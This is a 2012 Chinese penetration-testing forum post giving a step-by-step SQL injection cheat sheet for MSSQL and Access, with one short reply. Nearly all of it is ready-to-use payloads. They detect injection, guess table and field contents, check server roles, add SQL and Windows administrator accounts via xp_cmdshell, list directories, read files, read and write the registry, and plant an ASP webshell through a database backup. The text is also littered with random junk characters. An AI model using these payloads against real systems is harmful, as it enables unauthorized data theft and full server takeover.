中国网络渗透测试联盟

标题: 手工脚本注入 [打印本页]

作者: admin    时间: 2012-9-15 14:48
标题: 手工脚本注入
手工脚本注入
* A# `9 U8 _: C5 Q1.判断是否有注入;and 1=1 ;and 1=2 - M+ u* l- P3 ^
% i# R' x& l! B. v* V
2.初步判断是否是mssql ;and user>0
' {0 v' }6 E( l4 f+ \# _# w* l5 \  @+ Q5 `# C- \1 ]) {6 d
3.注入参数是字符'and [查询条件] and ''='
- s$ \+ H+ u) m' |+ S7 Z4 k$ p, C% Q( b, B6 Z$ {
4.搜索时没过滤参数的'and [查询条件] and '%25'=' , b# `  L6 M2 t  C( x+ n) ]

; n; d7 `9 G- l% J5.判断数据库系统 3 R. J8 @$ I7 ?. [! {! E: u* K
;and (select count(*) from sysobjects)>0 mssql 1 B: X$ Y9 z9 a/ ~6 m" E
;and (select count(*) from msysobjects)>0 access
" f* ]4 Y! m1 {7 w/ E" V5 x6 l) Q- f5 I0 J9 G6 ?: U
6.猜数据库 ;and (select Count(*) from [数据库名])>0   t% \2 o$ |$ p! s5 @

" a8 c% M7 L) S& S) j" V7.猜字段 ;and (select Count(字段名) from 数据库名)>0
" |& U' Y  B5 l+ \6 S& B( e0 f4 B$ S; L& a
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ! i3 y+ d9 S) Q( m- ^5 P

* L# I; M' b( h8 g$ {  f& e9.(1)猜字段的ascii值(access)
6 v/ s$ o$ j- \# p;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ) g" }6 K7 O3 G- A5 }6 L2 ?- z

" Z! d' f" X+ y' U) l(2)猜字段的ascii值(mssql) 6 n9 m9 H7 P, Z- Q) L
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 / O' b! s& j, [9 V, E$ n' B8 h. {; t

, M/ q3 N4 f, z' v3 F5 U10.测试权限结构(mssql)
5 x5 v2 X4 W) h. c  P6 \;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
( K& F( M. Y- e7 z3 J' J;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- , {2 _* p6 ?% Z4 n- d+ \
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
- N% S% `  T3 A;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
9 m, G5 v- g# o' b' {8 R$ X;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
9 r0 @6 u& t' R5 @8 G5 e;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
2 k+ ^# f$ h; X8 ~$ x8 T: C/ };and 1=(select IS_MEMBER('db_owner'));--
1 S' w2 F; E' j% T5 g# {
5 R0 g5 Y, I( @/ M% R5 K0 W! X8 e11.添加mssql和系统的帐户
3 O- o9 S, j' n# ~% j7 q& A& S0 e;exec master.dbo.sp_addlogin username;-- 2 o' T0 m/ @2 e' u/ s
" R& {! R! k& D* A7 A6 k
;exec master.dbo.sp_password null,username,password;-- ( {5 Z7 F+ F* G" i( i
( q- \  O& L# P) x* Y! m, t, Q
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
( V7 e6 L' }$ Q4 H: o- N! f' u! j/ M& X9 T: r
;exec master.dbo.xp_cmdshell 'net user username password # c0 X8 P# L/ T
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ! P0 }/ E, L0 Z! e
4 d+ V) a5 C' g& Z
;exec master.dbo.xp_cmdshell 'net user username password /add';--
9 ]$ ?5 v* i* Q/ n* h7 Y$ r
, w- H2 l8 v2 O5 l0 u;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
# w/ o0 l" P& U( k) w- D
0 ~6 \. K; }9 L+ C+ m; @12.(1)遍历目录 ( E- o7 F2 V& L

! g1 t: ]* e/ {, g;create table dirs(paths varchar(100), id int) , k  Q- M' m6 {8 |' e5 n; K, d6 a
;insert dirs exec master.dbo.xp_dirtree 'c:\' 4 ~* q& H! m+ A- z- E9 G9 T7 G
;and (select top 1 paths from dirs)>0 3 o( O5 b& v% }) }/ z
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
) D8 l9 [- v# J9 I" c7 z( G! {( [7 S' R+ w% Y
(2)遍历目录
/ R$ e3 }% H7 B  `1 e;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- $ A2 t2 O( a; v8 ]
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
6 m0 ]' D9 G6 o% m' c1 Z;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
" R9 n6 H* B+ m5 Q8 l/ k;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
; Q$ @0 P& y( {1 \: _0 E$ D6 |, J;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
2 t9 o5 q  [4 [2 b; G
7 m1 b( s5 L2 V( o. M. _4 s9 o13.mssql中的存储过程
, I: y/ U" i& x/ q* V4 [" a6 B' a' O" p" i# _! O3 t
xp_regenumvalues 注册表根键, 子键 1 ~# a& U& V, f& I
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
& c' R! c1 x" ^  d3 i
/ Y! u) v  C# q4 d$ f/ oxp_regread 根键,子键,键值名 5 b+ s5 e4 ^4 b+ T" I
;exec xp_regread 7 D3 y  ]; s5 J: v
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 6 O& G8 Y! A3 M+ I  Z) u* n

$ O/ H2 ]. K* T# Jxp_regwrite 根键,子键, 值名, 值类型, 值 3 a6 w6 ~- z/ P0 e6 s
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 0 [% U$ R& N+ n  ]1 g
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
& P$ J6 K$ X9 H+ [- Q; ~5 A; @2 z$ j$ c6 x6 K+ ]3 `8 t, e
xp_regdeletevalue 根键,子键,值名 4 Q3 e1 d" k( P* r0 o1 q# y

, v; l8 _4 C" A; c/ uexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ) h: Y; a2 v$ S% m$ Z& b5 \: a( \) \
4 S& @0 F; ]* k# G7 N: z) K, b% a
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
# N' I! I  H8 _
( R5 m) f( r4 O3 a  F; q14.mssql的backup创建webshell . s6 X; m  O! r  H5 a
use model 6 z4 d  @- i" a* f. q& T* w& P$ V
create table cmd(str image); " Z+ m& e1 {2 q9 D% v' \6 G
insert into cmd(str) values (''); ' J0 i8 M6 o, ~3 D( |
backup database model to disk='c:\l.asp';
# j& V$ ]3 I* F( c+ _5 I! H
  }+ E$ a' Z0 i- w0 M# b4 z# |15.mssql内置函数 8 t& C+ _4 k) N9 C$ L
;and (select @@version)>0 获得Windows的版本号 9 T6 q) k( r8 _# S- g' w: G; f$ F
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
& K, S* a/ Q" @6 G;and (select user_name())>0 爆当前系统的连接用户
+ Z' @1 x+ R7 X% O( s; r, C( [;and (select db_name())>0 得到当前连接的数据库 $ j9 u2 P. j& A( {
1 l1 ~3 c- m3 C4 P$ s1 k) R# g) A
16.简洁的webshell 2 ]+ |2 _) b7 l2 X) Y
/ r7 L# O$ U) a9 w$ h' _4 Z, K
use model
" K* M' {% h3 d* \: l  J% J
; f% n1 n5 J, Bcreate table cmd(str image);
2 O. }/ E6 D. J, @) j$ v
7 C/ p1 }! \8 g- R- W# h, {insert into cmd(str) values (''); ! G" g4 D* ~) S9 A5 A( o9 L  N( F/ v

/ L, y, E6 _9 s! b& r% D% sbackup database model to disk='g:\wwwtest\l.asp'; 2 O9 z/ K5 W  F
% |2 b# D' T! k2 j8 I

作者: 老男孩    时间: 2012-9-15 16:34
现在很多防注入啊,有其他注入字符码




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2